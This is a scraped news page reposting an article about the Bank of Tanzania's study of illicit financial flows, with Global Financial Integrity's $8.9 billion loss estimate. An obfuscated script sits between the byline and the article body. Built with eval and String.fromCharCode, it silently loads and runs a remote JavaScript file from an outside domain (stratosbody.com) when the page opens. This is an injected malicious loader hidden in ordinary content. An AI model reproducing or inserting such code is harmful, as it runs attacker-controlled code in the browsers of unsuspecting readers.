<p>The country's Central Bank is conducting a study on illicit financial flows to determine the extent of the problem. PHOTO | FILE
By ROSEMARY MIRONDO</p><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script>
The country’s Central Bank is conducting a study on illicit financial flows to determine the extent of the problem. PHOTO | FILE By ROSEMARY MIRONDO
Stunned by the revelation of gross money laundering and tax evasion involving some Tanzanians, the Bank of Tanzania (BoT) is conducting a study on illicit financial flows to determine the extent of the problem, a senior official has said.
The BoT director of economic research and policy, Dr Joseph Massawe, told The Citizen on Monday that the study dubbed “Illicit Financial Flows Tanzania†is being done by the BoT in collaboration with the Norwegian embassy.
It seeks to establish the exact amounts that are being lost.
“The study commenced in May this year, and the inception report has been completed,†he said.
He said the bank has hired two consultants who are undertaking the assignment jointly with two local expert, adding that the study is expected to be completed in a year’s time and depending on the magnitude of the problem, recommendations will be made on measures to be taken to address the situation.
Late last year, a report released by a US financial watchdog group, showed that Tanzania leads the list of East African states that have lost billions of dollars through money laundering, tax evasion and high level graft in government.
The report “Illicit Financial Flows from Africa: Hidden Resources for Development,†by Global Financial Integrity reveals that the country has lost a total of $8.9 billion over the past four decades through illegal transfers abroad.
Simamia is a news house where visitors will get up to date information on news, events, and so on.
Join us to get updated, entertained and learn. Our website is www.Simamia.com or email us at SimamiaTeam@gmail.com
By Baraka Bitariho
Baraka Bitariho
Recent Comments